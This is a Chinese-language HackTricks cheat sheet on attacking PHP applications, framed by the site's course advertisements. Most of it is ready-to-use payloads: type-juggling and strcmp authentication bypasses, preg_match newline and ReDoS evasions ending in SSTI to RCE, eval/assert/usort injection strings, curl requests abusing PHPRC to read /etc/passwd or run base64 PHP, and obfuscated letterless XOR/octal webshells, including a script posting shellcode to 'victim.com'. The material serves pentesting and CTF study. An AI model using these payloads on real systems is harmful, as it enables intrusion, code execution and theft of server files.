从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家) ! 支持 HackTricks 的其他方式:
如果您想看到您的公司在 HackTricks 中做广告 或下载 PDF 版本的 HackTricks ,请查看订阅计划 !
Cookies 常见位置:
这也适用于 phpMyAdmin 的 cookies。
Cookies:
位置:
复制 /var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
绕过 PHP 比较
弱比较/类型转换(==)
如果在 PHP 中使用 ==
,则存在意外情况,比较的行为与预期不同。这是因为 "==" 只比较转换为相同类型的值,如果您还想比较所比较数据的类型是否相同,您需要使用 ===
。
PHP 比较表格:https://www.php.net/manual/en/types.comparisons.php
"string" == 0 -> True
以非数字开头的字符串等于数字
"0xAAAA" == "43690" -> True
由十进制或十六进制格式的数字组成的字符串可以与其他数字/字符串进行比较,如果数字相同,则结果为 True(字符串中的数字被解释为数字)
"0e3264578" == 0 --> True
以 "0e" 开头并跟随任何内容的字符串将等于 0
"0X3264578" == 0X --> True
以 "0" 开头并跟随任何字母(X 可以是任何字母)和任何内容的字符串将等于 0
"0e12334" == "0" --> True
这非常有趣,因为在某些情况下,您可以控制以 "0" 开头的字符串输入以及正在被散列并与之比较的某些内容。因此,如果您可以提供一个将创建以 "0e" 开头且没有任何字母的哈希的值,您可以绕过比较。您可以在此处找到具有此格式的已散列字符串 :https://github.com/spaze/hashes
"X" == 0 --> True
字符串中的任何字母等于整数 0
更多信息请参阅 https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
类型转换 也会影响到 in_array()
函数,默认情况下(需要将第三个参数设置为 true 才能进行严格比较):
复制 $values = array ( "apple" , "orange" , "pear" , "grape" );
var_dump ( in_array ( 0 , $values )) ;
//True
var_dump ( in_array ( 0 , $values , true )) ;
//False
strcmp()/strcasecmp()
如果此函数用于任何身份验证检查 (比如检查密码),并且用户控制比较的一侧,他可以发送一个空数组而不是一个字符串作为密码的值(https://example.com/login.php/?username=admin&password[]=
),从而绕过此检查:
复制 if ( ! strcmp ( "real_pwd" , "real_pwd" ) ) { echo "Real Password" ; } else { echo "No Real Password" ; }
// Real Password
if ( ! strcmp ( array() , "real_pwd" ) ) { echo "Real Password" ; } else { echo "No Real Password" ; }
// Real Password
严格类型转换
即使使用 ===
,仍可能出现错误,使比较容易受到类型转换的影响。例如,如果比较在比较之前将数据转换为不同类型的对象:
复制 ( int ) "1abc" === ( int ) "1xyz" //This will be true
preg_match(/^.*/)
preg_match()
可用于验证用户输入 (它检查 用户输入中是否存在黑名单 中的任何单词/正则表达式 ,如果没有,则代码可以继续执行)。
换行符绕过
然而,当限定正则表达式的开头时,preg_match()
只检查用户输入的第一行 ,如果你可以以多行的方式发送 输入,你就可以绕过这个检查。例如:
复制 $myinput = "aaaaaaa
11111111" ; //Notice the new line
echo preg_match ( "/1/" , $myinput ) ;
//1 --> In this scenario preg_match find the char "1"
echo preg_match ( "/1. *$ /" , $myinput ) ;
//1 --> In this scenario preg_match find the char "1"
echo preg_match ( "/ ^ . * 1/" , $myinput ) ;
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match ( "/ ^ . * 1. *$ /" , $myinput ) ;
//0 --> In this scenario preg_match DOESN'T find the char "1"
要绕过此检查,您可以使用新行进行url编码 (%0A
)发送该值,或者如果可以发送JSON数据 ,请将其分成多行 发送:
复制 {
"cmd" : "cat /etc/passwd"
}
找到一个示例:https://ramadistra.dev/fbctf-2019-rceservice
长度错误绕过
(这个绕过似乎是在 PHP 5.2.5 上尝试的,我无法在 PHP 7.3.15 上使其工作)
如果你可以向 preg_match()
发送一个非常大的有效输入 ,它无法处理 它,你就可以绕过 检查。例如,如果它在黑名单中列出了一个 JSON,你可以发送:
复制 payload = '{"cmd": "ls -la", "injected": "' + "a" *1000001 + '"}'
ReDoS绕过
技巧来源:https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 和 https://mizu.re/post/pong
简而言之,问题发生在PHP中的preg_*
函数上,它建立在PCRE库 之上。在PCRE中,某些正则表达式是通过大量递归调用来匹配的,这会使用大量堆栈空间。可以设置允许的递归次数上限,但在PHP中,此限制默认为100,000 ,这超出了堆栈的容量。
这个Stackoverflow主题 也在帖子中链接,其中更深入地讨论了这个问题。我们的任务现在很明确:
发送一个输入,使正则表达式执行100,000次以上的递归,导致SIGSEGV,使 preg_match()
函数返回 false
,从而使应用程序认为我们的输入不是恶意的,最后在有效载荷的结尾处添加类似 {system(<verybadcommand>)}
的内容,以获取SSTI --> RCE --> flag :) 。
在正则表达式术语中,我们实际上并没有执行10万次“递归”,而是在计算“回溯步骤”,正如PHP文档 所述,默认情况下,在pcre.backtrack_limit
变量中默认为1,000,000(1M)。
要达到这个目标,'X'*500_001
将导致100万个回溯步骤(50万个向前和50万个向后)。
复制 payload = f "@dimariasimone on { 'X' * 500_001} {{ system('id') }} "
用于 PHP 混淆的类型转换
复制 $obfs = "1" ; //string "1"
$obfs ++ ; //int 2
$obfs += 0 . 2 ; //float 2.2
$obfs = 1 + "7 IGNORE" ; //int 8
$obfs = "string" + array ( "1.1 striiing" )[ 0 ]; //float 1.1
$obfs = 3 + 2 * ( TRUE + TRUE ); //int 7
$obfs .= "" ; //string "7"
$obfs += "" ; //int 7
在重定向后执行(EAR)
如果 PHP 正在重定向到另一个页面,但在设置了 Location
头之后没有调用 die
或 exit
函数,PHP 将继续执行并将数据附加到主体中:
复制 <? php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET[ 'page' ];
header ( 'Location: /index.php?page=default.html' ) ;
readfile ( $page ) ;
?>
路径遍历和文件包含利用
检查:
File Inclusion/Path traversal 更多技巧
register_globals : 在 PHP < 4.1.1.1 或者配置错误的情况下,register_globals 可能会被激活(或者它们的行为被模仿)。这意味着在全局变量中,比如 $_GET 如果它们有一个值,比如 $_GET["param"]="1234",你可以通过 $param 访问它。因此,通过发送 HTTP 参数,你可以覆盖在代码中使用的变量 。
PHPSESSION cookies of the same domain are stored in the same place ,因此如果在一个域中不同路径中使用不同的 cookies ,你可以使一个路径访问另一个路径的 cookie ,设置另一个路径 cookie 的值。这样,如果两个路径访问具有相同名称的变量 ,你可以使路径1 中该变量的值应用于路径2 。然后路径2 将视路径1 的变量为有效(通过给 cookie 分配在路径2 中对应的名称)。
当你有机器用户的用户名 时,请检查地址: /~<USERNAME> 看看是否激活了 php 目录。
password_hash/password_verify
这些函数通常用于 PHP 中从密码生成哈希 ,以及检查 密码是否与哈希匹配。
支持的算法有:PASSWORD_DEFAULT
和 PASSWORD_BCRYPT
(以 $2y$
开头)。请注意,PASSWORD_DEFAULT 经常与 PASSWORD_BCRYPT 相同 。目前,PASSWORD_BCRYPT 在输入上有一个大小限制为 72 字节 。因此,当你尝试使用此算法对大于 72 字节的内容进行哈希时,只有前 72 字节会被使用:
复制 $cont = 71 ; echo password_verify ( str_repeat ( "a" , $cont ), password_hash ( str_repeat ( "a" , $cont ) . "b" , PASSW
False
$cont = 72 ; echo password_verify ( str_repeat ( "a" , $cont ), password_hash ( str_repeat ( "a" , $cont ) . "b" , PASSW
True
HTTP 头绕过滥用 PHP 错误
如果一个 PHP 页面正在打印错误并回显用户提供的一些输入 ,用户可以使 PHP 服务器打印回一些 足够长的内容 ,以便当它尝试 将头部添加到响应 时,服务器会抛出错误。
在以下场景中,攻击者让服务器抛出一些大错误 ,正如您在屏幕上看到的,当 PHP 尝试 修改头部信息时,它无法 (例如 CSP 头部未发送给用户):
代码执行
system("ls");
`ls`;
shell_exec("ls");
查看这里获取更多有用的 PHP 函数
通过 preg_replace() 实现 RCE
复制 preg_replace ( pattern , replace , base )
preg_replace ( "/a/e" , "phpinfo()" , "whatever" )
要执行“replace”参数中的代码,至少需要一个匹配项。
这个preg_replace选项在PHP 5.5.0版本之后已经被弃用 。
通过Eval()实现RCE
复制 '.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
通过 Assert() 实现 RCE
这个 php 中的函数允许你执行以字符串形式编写的代码 ,以便返回 true 或 false (并根据此修改执行)。通常用户变量会被插入到字符串的中间。例如:
assert("strpos($_GET['page']),'..') === false")
--> 在这种情况下,要获得RCE ,你可以这样做:
复制 ?page=a','NeVeR') === false and system('ls') and strpos('a
通过 usort() 实现远程代码执行(RCE)
该函数用于使用特定函数对项目数组进行排序。
要滥用此函数:
复制 <? php usort ( VALUE , "cmp" ) ; #Being cmp a valid function ?>
VALUE : ); phpinfo () ; #
<? php usort () ; phpinfo () ; #, "cmp"); #Being cmp a valid function ?>
复制 <? php
function foo ($x , $y){
usort ( VALUE , "cmp" ) ;
} ?>
VALUE : );}[PHP CODE]; #
<? php
function foo ($x , $y){
usort () ;}phpinfo; #, "cmp");
} ?>
使用 // 进行代码注释。
要发现需要关闭的括号数量:
?order=id;}//
:我们收到一个错误消息(Parse error: syntax error, unexpected ';'
)。我们可能缺少一个或多个括号。
?order=id);}//
:我们收到一个 警告 。看起来差不多。
?order=id));}//
:我们收到一个错误消息(Parse error: syntax error, unexpected ')' i
)。我们可能有太多的闭合括号。
通过 .httaccess 实现 RCE
如果你可以 上传 一个 .htaccess 文件,那么你可以 配置 几个东西,甚至执行代码(配置扩展名为 .htaccess 的文件可以 执行 )。
可以在这里 找到不同的 .htaccess shells。
通过环境变量实现 RCE
如果你发现一个允许你 修改 PHP 环境变量 的漏洞(以及另一个允许上传文件的漏洞,尽管通过更多研究可能可以绕过此问题),你可以滥用这种行为来实现 RCE 。
LD_PRELOAD
:这个环境变量允许你在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。
PHPRC
:指示 PHP 查找其配置文件 的位置,通常称为 php.ini
。如果你可以上传自己的配置文件,那么使用 PHPRC
来指向 PHP。添加一个 auto_prepend_file
条目,指定第二个上传的文件。这第二个文件包含正常的 PHP 代码,然后由 PHP 运行时执行 ,在执行任何其他代码之前。
上传一个包含我们的 shellcode 的 PHP 文件
上传第二个文件,其中包含一个 auto_prepend_file
指令,指示 PHP 预处理器执行我们在步骤 1 中上传的文件
将 PHPRC
变量设置为我们在步骤 2 中上传的文件。
如果你 无法上传文件 ,你可以在 FreeBSD 中使用包含 stdin
的 "file" /dev/fd/0
,作为发送到 stdin
的请求的 主体 :
curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
或者要获得 RCE,启用 allow_url_include
并在一个文件前添加 base64 PHP 代码 :
curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
PHP 静态分析
查看是否可以在对这些函数的调用中插入代码(来自这里 ):
复制 exec , shell_exec , system , passthru , eval , popen
unserialize , include , file_put_cotents
$_COOKIE | if #This mea
如果您正在调试PHP应用程序,可以在/etc/php5/apache2/php.ini
中添加display_errors = On
来全局启用错误打印,并重新启动apache:sudo systemctl restart apache2
解密PHP代码
您可以使用web www.unphp.net 来解密php代码。
PHP包装器和协议
PHP包装器和协议可以让您在系统中绕过写入和读取保护 ,从而对其进行破坏。有关更多信息,请查看此页面 。
Xdebug未经身份验证的RCE
如果您发现phpconfig()
输出中启用了Xdebug ,则应尝试通过https://github.com/nqxcode/xdebug-exploit 获取RCE
变量变量
复制 $x = 'Da' ;
$$x = 'Drums' ;
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}" ; //Drums
echo "$x ${$x}" ; //Da Drums
echo "$x ${Da}" ; //Da Drums
利用新的 $_GET["a"]($_GET["b"])
如果在一个页面中可以创建任意类的新对象 ,则可能能够获得RCE,请查看以下页面以了解详情:
PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"]) 在不使用字母的情况下执行PHP
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
使用八进制
复制 $_ = "\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)" ; #system(cat .passwd);
异或
复制 $_ = ( "%28" ^ "[" ) . ( "%33" ^ "[" ) . ( "%34" ^ "[" ) . ( "%2c" ^ "[" ) . ( "%04" ^ "[" ) . ( "%28" ^ "[" ) . ( "%34" ^ "[" ) . ( "%2e" ^ "[" ) . ( "%29" ^ "[" ) . ( "%38" ^ "[" ) . ( "%3e" ^ "[" ); #show_source
$__ = ( "%0f" ^ "!" ) . ( "%2f" ^ "_" ) . ( "%3e" ^ "_" ) . ( "%2c" ^ "_" ) . ( "%2c" ^ "_" ) . ( "%28" ^ "_" ) . ( "%3b" ^ "_" ); #.passwd
$___ = $__; #Could be not needed inside eval
$_ ($___); #If ¢___ not needed then $_($__), show_source(.passwd)
XOR 简易 shell 代码
根据这篇解析 ,可以通过以下方式生成一个简单的 shellcode:
复制 $_ = "`{{{" ^ "?<>/" ; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_ = "`{{{" ^ "?<>/" ;${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
所以,如果您可以执行任意PHP代码而不使用数字和字母 ,您可以发送类似以下滥用该有效负载以执行任意PHP代码的请求:
复制 POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
要获取更详细的解释,请查看https://ctf-wiki.org/web/php/php/#preg_match
异或 Shellcode(在 eval 中)
复制 #!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD = $1
CODE = "\$_='\
复制 lt; >/ '^' {{{{ ';\${\$_}[_](\${\$_}[__]);" `$_='
复制 lt; >/ '^' {{{{ '; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Perl 类似
复制 <? php
$_ = [];
$_ =@ "$_" ; // $_='Array';
$_ = $_[ '!' == '@' ]; // $_=$_[0];
$___ = $_; // A
$__ = $_;
$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;
$___ .= $__; // S
$___ .= $__; // S
$__ = $_;
$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ; // E
$___ .= $__;
$__ = $_;
$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ; // R
$___ .= $__;
$__ = $_;
$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ; // T
$___ .= $__;
$____ = '_' ;
$__ = $_;
$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ; // P
$____ .= $__;
$__ = $_;
$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ; // O
$____ .= $__;
$__ = $_;
$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ; // S
$____ .= $__;
$__ = $_;
$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ; // T
$____ .= $__;
$_ = $$____;
$___ ($_[_]); // ASSERT($_POST[_]);
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) ! 支持HackTricks的其他方式:
如果您想看到您的公司在HackTricks中做广告 或下载PDF格式的HackTricks ,请查看订阅计划 !